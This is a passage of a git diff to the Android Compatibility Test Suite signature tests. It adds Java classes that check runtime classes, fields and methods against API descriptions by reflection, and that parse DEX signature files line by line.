+    private void checkMethodCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        Map<Method, String> mismatchReasons = new LinkedHashMap<>();
+        for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
+            try {
+                Method m = ReflectionHelper.findMatchingMethod(
+                        runtimeClass, method, mismatchReasons);
+                if (m == null) {
+                    resultObserver.notifyFailure(FailureType.MISSING_METHOD,
+                            method.toReadableString(classDescription.getAbsoluteClassName()),
+                            String.format(
+                                    "No method with correct signature found. The following methods"
+                                            + " with the same name were rejected:\n%s",
+                                    mismatchReasons.entrySet()
+                                            .stream()
+                                            .map(e -> String.format("\t\t%s - %s\n",
+                                                    e.getKey(), e.getValue()))
+                                            .collect(Collectors.joining())));
+                } else {
+                    checkMethod(classDescription, runtimeClass, method, m);
+                }
+                // Clear the list.
+                mismatchReasons.clear();
+            } catch (Exception e) {
+                LogHelper.loge("Got exception when checking method compliance", e);
+                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+                        method.toReadableString(classDescription.getAbsoluteClassName()),
+                        "Exception while checking method compliance!");
+            }
+        }
+    }
+
+    protected abstract void checkMethod(JDiffClassDescription classDescription,
+            Class<?> runtimeClass,
+            JDiffClassDescription.JDiffMethod methodDescription, Method method);
+}
diff --git a/tests/signature/src/android/signature/cts/AnnotationChecker.java b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
similarity index 100%
rename from tests/signature/src/android/signature/cts/AnnotationChecker.java
rename to tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
new file mode 100644
index 0000000..df7c18b
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -0,0 +1,524 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.ReflectionHelper.DefaultTypeComparator;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.Formatter;
+import java.util.HashSet;
+import java.util.Objects;
+import java.util.Set;
+
+/**
+ * Checks that the runtime representation of a class matches the API representation of a class.
+ */
+public class ApiComplianceChecker extends AbstractApiChecker {
+
+    /**
+     * A set of method signatures whose abstract modifier should be ignored.
+     *
+     * <p>If a class is not intended to be created or extended by application developers and all
+     * instances are created and supplied by Android itself then the abstract modifier has no
+     * impact on runtime compatibility.
+     */
+    private static final Set<String> IGNORE_METHOD_ABSTRACT_MODIFIER_WHITE_LIST = new HashSet<>();
+    static {
+        // This method was previously abstract and is now not abstract. As the
+        // CtsSystemApiSignatureTestCases package tests both the old and new specifications, with
+        // and without the abstract modifier this needs to ignore the abstract modifier.
+        IGNORE_METHOD_ABSTRACT_MODIFIER_WHITE_LIST.add(
+                "public int android.service.euicc.EuiccService.onDownloadSubscription("
+                        + "int,android.telephony.euicc.DownloadableSubscription,boolean,boolean)");
+    }
+
+    /** Indicates that the class is an annotation. */
+    private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
+
+    /** Indicates that the class is an enum. */
+    private static final int CLASS_MODIFIER_ENUM       = 0x00004000;
+
+    /** Indicates that the method is a bridge method. */
+    private static final int METHOD_MODIFIER_BRIDGE    = 0x00000040;
+
+    /** Indicates that the method is takes a variable number of arguments. */
+    private static final int METHOD_MODIFIER_VAR_ARGS  = 0x00000080;
+
+    /** Indicates that the method is a synthetic method. */
+    private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
+
+    private final InterfaceChecker interfaceChecker;
+
+    public ApiComplianceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
+        super(classProvider, resultObserver);
+        interfaceChecker = new InterfaceChecker(resultObserver, classProvider);
+    }
+
+    @Override
+    public void checkDeferred() {
+        interfaceChecker.checkQueued();
+    }
+
+    @Override
+    protected boolean checkClass(JDiffClassDescription classDescription, Class<?> runtimeClass) {
+        if (JDiffClassDescription.JDiffType.INTERFACE.equals(classDescription.getClassType())) {
+            // Queue the interface for deferred checking.
+            interfaceChecker.queueForDeferredCheck(classDescription, runtimeClass);
+        }
+
+        String reason;
+        if ((reason = checkClassModifiersCompliance(classDescription, runtimeClass)) != null) {
+            resultObserver.notifyFailure(FailureType.mismatch(classDescription),
+                    classDescription.getAbsoluteClassName(),
+                    String.format("Non-compatible class found when looking for %s - because %s",
+                            classDescription.toSignatureString(), reason));
+            return false;
+        }
+
+        if (!checkClassAnnotationCompliance(classDescription, runtimeClass)) {
+            resultObserver.notifyFailure(FailureType.mismatch(classDescription),
+                    classDescription.getAbsoluteClassName(), "Annotation mismatch");
+            return false;
+        }
+
+        if (!runtimeClass.isAnnotation()) {
+            // check father class
+            if (!checkClassExtendsCompliance(classDescription, runtimeClass)) {
+                resultObserver.notifyFailure(FailureType.mismatch(classDescription),
+                        classDescription.getAbsoluteClassName(),
+                        "Extends mismatch, expected " + classDescription.getExtendedClass());
+                return false;
+            }
+
+            // check implements interface
+            if (!checkClassImplementsCompliance(classDescription, runtimeClass)) {
+                resultObserver.notifyFailure(FailureType.mismatch(classDescription),
+                        classDescription.getAbsoluteClassName(),
+                        "Implements mismatch, expected " + classDescription.getImplInterfaces());
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Checks if the class under test has compliant modifiers compared to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return null if modifiers are compliant otherwise a reason why they are not.
+     */
+    private static String checkClassModifiersCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        int reflectionModifiers = runtimeClass.getModifiers();
+        int apiModifiers = classDescription.getModifier();
+
+        // If the api class isn't abstract
+        if (((apiModifiers & Modifier.ABSTRACT) == 0) &&
+                // but the reflected class is
+                ((reflectionModifiers & Modifier.ABSTRACT) != 0) &&
+                // interfaces are implicitly abstract (JLS 9.1.1.1)
+                classDescription.getClassType() != JDiffClassDescription.JDiffType.INTERFACE &&
+                // and it isn't an enum
+                !classDescription.isEnumType()) {
+            // that is a problem
+            return "description is abstract but class is not and is not an enum";
+        }
+        // ABSTRACT check passed, so mask off ABSTRACT
+        reflectionModifiers &= ~Modifier.ABSTRACT;
+        apiModifiers &= ~Modifier.ABSTRACT;
+
+        if (classDescription.isAnnotation()) {
+            reflectionModifiers &= ~CLASS_MODIFIER_ANNOTATION;
+        }
+        if (runtimeClass.isInterface()) {
+            reflectionModifiers &= ~(Modifier.INTERFACE);
+        }
+        if (classDescription.isEnumType() && runtimeClass.isEnum()) {
+            reflectionModifiers &= ~CLASS_MODIFIER_ENUM;
+
+            // Most enums are marked as final, however enums that have one or more constants that
+            // override a method from the class cannot be marked as final because those constants
+            // are represented as a subclass. As enum classes cannot be extended (except for its own
+            // constants) there is no benefit in checking final modifier so just ignore them.
+            reflectionModifiers &= ~Modifier.FINAL;
+            apiModifiers &= ~Modifier.FINAL;
+        }
+
+        if ((reflectionModifiers == apiModifiers)
+                && (classDescription.isEnumType() == runtimeClass.isEnum())) {
+            return null;
+        } else {
+            return String.format("modifier mismatch - description (%s), class (%s)",
+                    getModifierString(apiModifiers), getModifierString(reflectionModifiers));
+        }
+    }
+
+    /**
+     * Checks if the class under test is compliant with regards to
+     * annnotations when compared to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the class is compliant
+     */
+    private static boolean checkClassAnnotationCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        if (runtimeClass.isAnnotation()) {
+            // check annotation
+            for (String inter : classDescription.getImplInterfaces()) {
+                if ("java.lang.annotation.Annotation".equals(inter)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Checks if the class under test extends the proper classes
+     * according to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the class is compliant.
+     */
+    private static boolean checkClassExtendsCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        // Nothing to check if it doesn't extend anything.
+        if (classDescription.getExtendedClass() != null) {
+            Class<?> superClass = runtimeClass.getSuperclass();
+
+            while (superClass != null) {
+                if (superClass.getCanonicalName().equals(classDescription.getExtendedClass())) {
+                    return true;
+                }
+                superClass = superClass.getSuperclass();
+            }
+            // Couldn't find a matching superclass.
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Checks if the class under test implements the proper interfaces
+     * according to the API.
+     *
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the class is compliant
+     */
+    private static boolean checkClassImplementsCompliance(JDiffClassDescription classDescription,
+            Class<?> runtimeClass) {
+        Set<String> interFaceSet = new HashSet<>();
+
+        addInterfacesToSetByName(runtimeClass, interFaceSet);
+
+        for (String inter : classDescription.getImplInterfaces()) {
+            if (!interFaceSet.contains(inter)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private static void addInterfacesToSetByName(Class<?> runtimeClass, Set<String> interFaceSet) {
+        Class<?>[] interfaces = runtimeClass.getInterfaces();
+        for (Class<?> c : interfaces) {
+            interFaceSet.add(c.getCanonicalName());
+            // Add grandparent interfaces in case the parent interface is hidden.
+            addInterfacesToSetByName(c, interFaceSet);
+        }
+
+        // Add the interfaces that the super class implements as well just in case the super class
+        // is hidden.
+        Class<?> superClass = runtimeClass.getSuperclass();
+        if (superClass != null) {
+            addInterfacesToSetByName(superClass, interFaceSet);
+        }
+    }
+
+    @Override
+    protected void checkField(JDiffClassDescription classDescription, Class<?> runtimeClass,
+            JDiffField fieldDescription, Field field) {
+        int expectedModifiers = fieldDescription.mModifier;
+        int actualModifiers = field.getModifiers();
+        if (actualModifiers != expectedModifiers) {
+            resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    String.format(
+                            "Incompatible field modifiers, expected %s, found %s",
+                            getModifierString(expectedModifiers),
+                            getModifierString(actualModifiers)));
+        }
+
+        String expectedFieldType = fieldDescription.mFieldType;
+        String actualFieldType = ReflectionHelper.typeToString(field.getGenericType());
+        if (!DefaultTypeComparator.INSTANCE.compare(expectedFieldType, actualFieldType)) {
+            resultObserver.notifyFailure(
+                    FailureType.MISMATCH_FIELD,
+                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    String.format("Incompatible field type found, expected %s, found %s",
+                            expectedFieldType, actualFieldType));
+        }
+
+        String message = checkFieldValueCompliance(fieldDescription, field);
+        if (message != null) {
+            resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    message);
+        }
+    }
+
+    private static final int BRIDGE    = 0x00000040;
+    private static final int VARARGS   = 0x00000080;
+    private static final int SYNTHETIC = 0x00001000;
+    private static final int ANNOTATION  = 0x00002000;
+    private static final int ENUM      = 0x00004000;
+    private static final int MANDATED  = 0x00008000;
+
+    private static String getModifierString(int modifiers) {
+        Formatter formatter = new Formatter();
+        String m = Modifier.toString(modifiers);
+        formatter.format("<%s", m);
+        String sep = m.isEmpty() ? "" : " ";
+        if ((modifiers & BRIDGE) != 0) {
+            formatter.format("%senum", sep);
+            sep = " ";
+        }
+        if ((modifiers & VARARGS) != 0) {
+            formatter.format("%svarargs", sep);
+            sep = " ";
+        }
+        if ((modifiers & SYNTHETIC) != 0) {
+            formatter.format("%ssynthetic", sep);
+            sep = " ";
+        }
+        if ((modifiers & ANNOTATION) != 0) {
+            formatter.format("%sannotation", sep);
+            sep = " ";
+        }
+        if ((modifiers & ENUM) != 0) {
+            formatter.format("%senum", sep);
+            sep = " ";
+        }
+        if ((modifiers & MANDATED) != 0) {
+            formatter.format("%smandated", sep);
+        }
+        return formatter.format("> (0x%x)", modifiers).toString();
+    }
+
+    /**
+     * Checks whether the field values are compatible.
+     *
+     * @param apiField The field as defined by the platform API.
+     * @param deviceField The field as defined by the device under test.
+     */
+    private static String checkFieldValueCompliance(JDiffField apiField, Field deviceField) {
+        if ((apiField.mModifier & Modifier.FINAL) == 0 ||
+                (apiField.mModifier & Modifier.STATIC) == 0) {
+            // Only final static fields can have fixed values.
+            return null;
+        }
+        String apiFieldValue = apiField.getValueString();
+        if (apiFieldValue == null) {
+            // If we don't define a constant value for it, then it can be anything.
+            return null;
+        }
+
+        // Convert char into a number to match the value returned from device field. The device
+        // field does not
+        if (deviceField.getType() == char.class) {
+            apiFieldValue = convertCharToCanonicalValue(apiFieldValue.charAt(0));
+        }
+
+        String deviceFieldValue = getFieldValueAsString(deviceField);
+        if (!Objects.equals(apiFieldValue, deviceFieldValue)) {
+            return String.format("Incorrect field value, expected <%s>, found <%s>",
+                    apiFieldValue, deviceFieldValue);
+
+        }
+
+        return null;
+    }
+
+    private static String getFieldValueAsString(Field deviceField) {
+        // Some fields may be protected or package-private
+        deviceField.setAccessible(true);
+        try {
+            Class<?> fieldType = deviceField.getType();
+            if (fieldType == byte.class) {
+                return Byte.toString(deviceField.getByte(null));
+            } else if (fieldType == char.class) {
+                return convertCharToCanonicalValue(deviceField.getChar(null));
+            } else if (fieldType == short.class) {
+                return  Short.toString(deviceField.getShort(null));
+            } else if (fieldType == int.class) {
+                return  Integer.toString(deviceField.getInt(null));
+            } else if (fieldType == long.class) {
+                return Long.toString(deviceField.getLong(null));
+            } else if (fieldType == float.class) {
+                return  canonicalizeFloatingPoint(
+                                Float.toString(deviceField.getFloat(null)));
+            } else if (fieldType == double.class) {
+                return  canonicalizeFloatingPoint(
+                                Double.toString(deviceField.getDouble(null)));
+            } else if (fieldType == boolean.class) {
+                return  Boolean.toString(deviceField.getBoolean(null));
+            } else if (fieldType == java.lang.String.class) {
+                return (String) deviceField.get(null);
+            } else {
+                return null;
+            }
+        } catch (IllegalAccessException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static String convertCharToCanonicalValue(char c) {
+        return String.format("'%c' (0x%x)", c, (int) c);
+    }
+
+    /**
+     * Canonicalize the string representation of floating point numbers.
+     *
+     * This needs to be kept in sync with the doclava canonicalization.
+     */
+    private static String canonicalizeFloatingPoint(String val) {
+        switch (val) {
+            case "Infinity":
+            case "-Infinity":
+            case "NaN":
+                return val;
+        }
+
+        if (val.indexOf('E') != -1) {
+            return val;
+        }
+
+        // 1.0 is the only case where a trailing "0" is allowed.
+        // 1.00 is canonicalized as 1.0.
+        int i = val.length() - 1;
+        int d = val.indexOf('.');
+        while (i >= d + 2 && val.charAt(i) == '0') {
+            val = val.substring(0, i--);
+        }
+        return val;
+    }
+
+    @Override
+    protected void checkConstructor(JDiffClassDescription classDescription, Class<?> runtimeClass,
+            JDiffClassDescription.JDiffConstructor ctorDescription, Constructor<?> ctor) {
+        if (ctor.isVarArgs()) {// some method's parameter are variable args
+            ctorDescription.mModifier |= METHOD_MODIFIER_VAR_ARGS;
+        }
+        if (ctor.getModifiers() != ctorDescription.mModifier) {
+            resultObserver.notifyFailure(
+                    FailureType.MISMATCH_METHOD,
+                    ctorDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    "Non-compatible method found when looking for " +
+                            ctorDescription.toSignatureString());
+        }
+    }
+
+    @Override
+    protected void checkMethod(JDiffClassDescription classDescription, Class<?> runtimeClass,
+            JDiffClassDescription.JDiffMethod methodDescription, Method method) {
+        if (method.isVarArgs()) {
+            methodDescription.mModifier |= METHOD_MODIFIER_VAR_ARGS;
+        }
+        if (method.isBridge()) {
+            methodDescription.mModifier |= METHOD_MODIFIER_BRIDGE;
+        }
+        if (method.isSynthetic()) {
+            methodDescription.mModifier |= METHOD_MODIFIER_SYNTHETIC;
+        }
+
+        // FIXME: A workaround to fix the final mismatch on enumeration
+        if (runtimeClass.isEnum() && methodDescription.mName.equals("values")) {
+            return;
+        }
+
+        String reason;
+        if ((reason = areMethodsModifierCompatible(
+                classDescription, methodDescription, method)) != null) {
+            resultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
+                    methodDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    String.format("Non-compatible method found when looking for %s - because %s",
+                            methodDescription.toSignatureString(), reason));
+        }
+    }
+
+    /**
+     * Checks to ensure that the modifiers value for two methods are compatible.
+     *
+     * Allowable differences are:
+     *   - the native modifier is ignored
+     *
+     * @param classDescription a description of a class in an API.
+     * @param apiMethod the method read from the api file.
+     * @param reflectedMethod the method found via reflection.
+     * @return null if the method modifiers are compatible otherwise the reason why not.
+     */
+    private static String areMethodsModifierCompatible(
+            JDiffClassDescription classDescription,
+            JDiffClassDescription.JDiffMethod apiMethod,
+            Method reflectedMethod) {
+
+        // Mask off NATIVE since it is a don't care.  Also mask off
+        // SYNCHRONIZED since it is not considered API significant (b/112626813)
+        int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
+        int reflectionModifiers = reflectedMethod.getModifiers() & ~ignoredMods;
+        int apiModifiers = apiMethod.mModifier & ~ignoredMods;
+
+        // We can ignore FINAL for classes
+        if ((classDescription.getModifier() & Modifier.FINAL) != 0) {
+            reflectionModifiers &= ~Modifier.FINAL;
+            apiModifiers &= ~Modifier.FINAL;
+        }
+
+        String genericString = reflectedMethod.toGenericString();
+        if (IGNORE_METHOD_ABSTRACT_MODIFIER_WHITE_LIST.contains(genericString)) {
+            reflectionModifiers &= ~Modifier.ABSTRACT;
+            apiModifiers &= ~Modifier.ABSTRACT;
+        }
+
+        if (reflectionModifiers == apiModifiers) {
+            return null;
+        } else {
+            return String.format("modifier mismatch - description (%s), method (%s), for %s",
+                    getModifierString(apiModifiers), getModifierString(reflectionModifiers), genericString);
+        }
+    }
+
+    public void addBaseClass(JDiffClassDescription classDescription) {
+        // Keep track of all the base interfaces that may by extended.
+        if (classDescription.getClassType() == JDiffClassDescription.JDiffType.INTERFACE) {
+            try {
+                Class<?> runtimeClass =
+                        ReflectionHelper.findMatchingClass(classDescription, classProvider);
+                interfaceChecker.queueForDeferredCheck(classDescription, runtimeClass);
+            } catch (ClassNotFoundException e) {
+                // Do nothing.
+            }
+        }
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/BufferedReaderLineSpliterator.java b/tests/signature/lib/common/src/android/signature/cts/BufferedReaderLineSpliterator.java
new file mode 100644
index 0000000..c0bb213
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/BufferedReaderLineSpliterator.java
@@ -0,0 +1,78 @@
+package android.signature.cts;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.util.Spliterator;
+import java.util.function.BiFunction;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+/**
+ * A spliterator breaking up a ByteBuffer into lines of text. A converter will translate a line to
+ * an arbitrary type. This spliterator allows splitting.
+ *
+ * This class assumes that there is no issue looking for just '\n'. That is not true for all of
+ * unicode and must be guaranteed by the caller.
+ */
+public class BufferedReaderLineSpliterator<T> implements Spliterator<T> {
+    private final BufferedReader mReader;
+    private int mLineNum;
+    private final Function<String, T> mConverter;
+    private final BiFunction<String, Integer, T> mLineNumConverter;
+
+    public BufferedReaderLineSpliterator(BufferedReader reader, Function<String, T> converter) {
+        mReader = reader;
+        mLineNum = 0;
+        mConverter = converter;
+        mLineNumConverter = null;
+    }
+
+    public BufferedReaderLineSpliterator(BufferedReader reader,
+            BiFunction<String, Integer, T> converter) {
+        mReader = reader;
+        mLineNum = 0;
+        mConverter = null;
+        mLineNumConverter = converter;
+    }
+
+    @Override
+    public Spliterator<T> trySplit() {
+        return null;
+    }
+
+    @Override
+    public long estimateSize() {
+        return Long.MAX_VALUE;
+    }
+
+    @Override
+    public int characteristics() {
+        return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
+    }
+
+    private String nextLine() {
+        try {
+            String line = mReader.readLine();
+            if (line != null) {
+                mLineNum = mLineNum + 1;
+            }
+            return line;
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Override
+    public boolean tryAdvance(Consumer<? super T> action) {
+        String nextLine = nextLine();
+        if (nextLine == null) {
+            return false;
+        }
+        if (mConverter != null) {
+            action.accept(mConverter.apply(nextLine));
+        } else {
+            action.accept(mLineNumConverter.apply(nextLine, mLineNum));
+        }
+        return true;
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/ByteBufferLineSpliterator.java b/tests/signature/lib/common/src/android/signature/cts/ByteBufferLineSpliterator.java
new file mode 100644
index 0000000..e7553c5
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/ByteBufferLineSpliterator.java
@@ -0,0 +1,129 @@
+package android.signature.cts;
+
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.Spliterator;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+/**
+ * A spliterator breaking up a ByteBuffer into lines of text. A converter will translate a line to
+ * an arbitrary type. This spliterator allows splitting.
+ *
+ * This class assumes that there is no issue looking for just '\n'. That is not true for all of
+ * unicode and must be guaranteed by the caller.
+ */
+public class ByteBufferLineSpliterator<T> implements Spliterator<T> {
+    private final ByteBuffer mBuffer;
+    private final int mLineLengthEstimate;
+    private final Function<String, T> mConverter;
+
+    private static final Charset CHAR_SET = Charset.defaultCharset();
+
+    public ByteBufferLineSpliterator(ByteBuffer buffer, int lineLengthEstimate,
+            Function<String, T> converter) {
+        mBuffer = buffer;
+        mLineLengthEstimate = lineLengthEstimate;
+        mConverter = converter;
+    }
+
+    @Override
+    public Spliterator<T> trySplit() {
+        // Approach: jump into the middle of the remaining segment and look
+        // for the next line break. If there is none, return null. Otherwise
+        // initialize a return value with a subsequence, and limit the
+        // current buffer.
+        //
+        // This relies heavily on lines not having outliers (wrt/ length).
+
+        // Only attempt if there's enough "work" left.
+        if (mBuffer.remaining() < 10 * mLineLengthEstimate) {
+            return null;
+        }
+
+        int curPos = mBuffer.position();
+        mBuffer.position(curPos + mBuffer.remaining() / 2);
+        int nextNewLine = findNextNewLine();
+        if (nextNewLine == -1) {
+            return null;
+        }
+
+        mBuffer.position(mBuffer.position() + nextNewLine + 1);
+        Spliterator<T> retValue = new ByteBufferLineSpliterator<T>(mBuffer.slice(),
+                mLineLengthEstimate, mConverter);
+
+        // Reset this buffer and set limit.
+        mBuffer.position(curPos).limit(curPos + mBuffer.remaining() / 2 + nextNewLine);
+
+        return retValue;
+    }
+
+    @Override
+    public long estimateSize() {
+        return mBuffer.remaining() / mLineLengthEstimate;
+    }
+
+    @Override
+    public int characteristics() {
+        return ORDERED | DISTINCT | NONNULL | IMMUTABLE;
+    }
+
+    private int findNextNewLine() {
+        if (!mBuffer.hasRemaining()) {
+            return -1;
+        }
+        mBuffer.mark();
+        int index = 0;
+        try {
+            while (mBuffer.hasRemaining()) {
+                if (mBuffer.get() == '\n') {
+                    return index;
+                }
+                index++;
+            }
+            return -1;
+        } finally {
+            mBuffer.reset();
+        }
+    }
+
+    private ByteBuffer subsequence(int start, int end) {
+        int curPos = mBuffer.position();
+        mBuffer.position(curPos + start);
+        int curLimit = mBuffer.limit();
+        mBuffer.limit(curPos + end);
+        ByteBuffer retValue = mBuffer.slice();
+        mBuffer.position(curPos).limit(curLimit);
+        return retValue;
+    }
+
+    protected String nextLine() {
+        if (!mBuffer.hasRemaining()) {
+            return null;
+        }
+
+        int nextLineBreakIndex = findNextNewLine();
+        if (nextLineBreakIndex == 0) {
+            throw new IllegalStateException("Empty line.");
+        }
+        String line;
+        if (nextLineBreakIndex > 0) {
+            line = CHAR_SET.decode(subsequence(0, nextLineBreakIndex)).toString();
+            mBuffer.position(mBuffer.position() + nextLineBreakIndex + 1);
+        } else {
+            line = CHAR_SET.decode(mBuffer).toString();
+            mBuffer.position(mBuffer.limit()); // Should not be necessary?
+        }
+        return line;
+    }
+
+    @Override
+    public boolean tryAdvance(Consumer<? super T> action) {
+        String nextLine = nextLine();
+        if (nextLine == null) {
+            return false;
+        }
+        action.accept(mConverter.apply(nextLine));
+        return true;
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/ClassProvider.java b/tests/signature/lib/common/src/android/signature/cts/ClassProvider.java
similarity index 100%
rename from tests/signature/src/android/signature/cts/ClassProvider.java
rename to tests/signature/lib/common/src/android/signature/cts/ClassProvider.java
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
new file mode 100644
index 0000000..7b71d65
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.function.BiFunction;
+import java.util.function.Function;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Stream;
+import java.util.stream.StreamSupport;
+import java.text.ParseException;
+
+/**
+ * Parses an API definition given as a text file with DEX signatures of class
+ * members. Constructs a {@link DexApiDocumentParser.DexMember} for every class
+ * member.
+ *
+ * <p>The definition file is converted into a {@link Stream} of
+ * {@link DexApiDocumentParser.DexMember}.
+ */
+public class DexApiDocumentParser {
+
+    // Regex patterns which match DEX signatures of methods and fields.
+    // See comment by next() for more details.
+    private static final Pattern REGEX_FIELD = Pattern.compile("^(L[^>]*;)->(.*):(.*)$");
+    private static final Pattern REGEX_METHOD =
+            Pattern.compile("^(L[^>]*;)->(.*)(\\(.*\\).*)$");
+
+    // Estimate of the length of a line.
+    private static final int LINE_LENGTH_ESTIMATE = 100;
+
+    // Converter from String to DexMember. Cached here.
+    private static final Function<String, DexMember> DEX_MEMBER_CONVERTER = str -> {
+        try {
+            return parseLine(str, /* lineNum= */ -1); // No line info available.
+        } catch (ParseException e) {
+            throw new RuntimeException(e);
+        }
+    };
+    private static final BiFunction<String, Integer, DexMember> DEX_MEMBER_LINE_NUM_CONVERTER = (
+            str, lineNum) -> {
+        try {
+            return parseLine(str, lineNum);
+        } catch (ParseException e) {
+            throw new RuntimeException(e);
+        }
+    };
+
+    public Stream<DexMember> parseAsStream(Object o) {
+        if (o instanceof ByteBuffer) {
+            return parseAsStream((ByteBuffer) o);
+        } else {
+            return parseAsStream((InputStream) o);
+        }
+    }
+
+    public Stream<DexMember> parseAsStream(InputStream inputStream) {
+        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
+        return StreamSupport.stream(
+                new BufferedReaderLineSpliterator<DexMember>(reader, DEX_MEMBER_LINE_NUM_CONVERTER),
+                false);
+    }
+
+    public Stream<DexMember> parseAsStream(ByteBuffer buffer) {
+        return parseAsStream(buffer, LINE_LENGTH_ESTIMATE);
+    }
+    public Stream<DexMember> parseAsStream(ByteBuffer buffer, int lineLengthEstimate) {
+        // TODO: Ensurance that the input conforms to ByteBufferLineSpliterator requirements.
+        return StreamSupport.stream(new ByteBufferLineSpliterator<DexMember>(buffer,
+                lineLengthEstimate, DEX_MEMBER_CONVERTER), true);
+    }
+
+    private static DexMember parseLine(String line, int lineNum) throws ParseException {
+        // Split the CSV line.
+        String[] splitLine = line.split(",");
+        String signature = splitLine[0];
+        String[] flags = Arrays.copyOfRange(splitLine, 1, splitLine.length);
+
+        // Match line against regex patterns.
+        Matcher matchField = REGEX_FIELD.matcher(signature);
+        Matcher matchMethod = REGEX_METHOD.matcher(signature);
+
+        // Check that *exactly* one pattern matches.
+        int matchCount = (matchField.matches() ? 1 : 0) + (matchMethod.matches() ? 1 : 0);
+        if (matchCount == 0) {
+            throw new ParseException("Could not parse: \"" + line + "\"", lineNum);
+        } else if (matchCount > 1) {
+            throw new ParseException("Ambiguous parse: \"" + line + "\"", lineNum);
+        }
+
+        // Extract information from the signature.
+        if (matchField.matches()) {
+            return new DexField(
+                    matchField.group(1), matchField.group(2), matchField.group(3), flags);
+        } else if (matchMethod.matches()) {
+            return new DexMethod(
+                    matchMethod.group(1),matchMethod.group(2), matchMethod.group(3), flags);
+        }
+        throw new IllegalStateException();
+    }
+}
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexField.java b/tests/signature/lib/common/src/android/signature/cts/DexField.java
new file mode 100644
index 0000000..5562e98
--- /dev/null
+++ b/tests/signature/lib/common/src/android/signature/cts/DexField.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
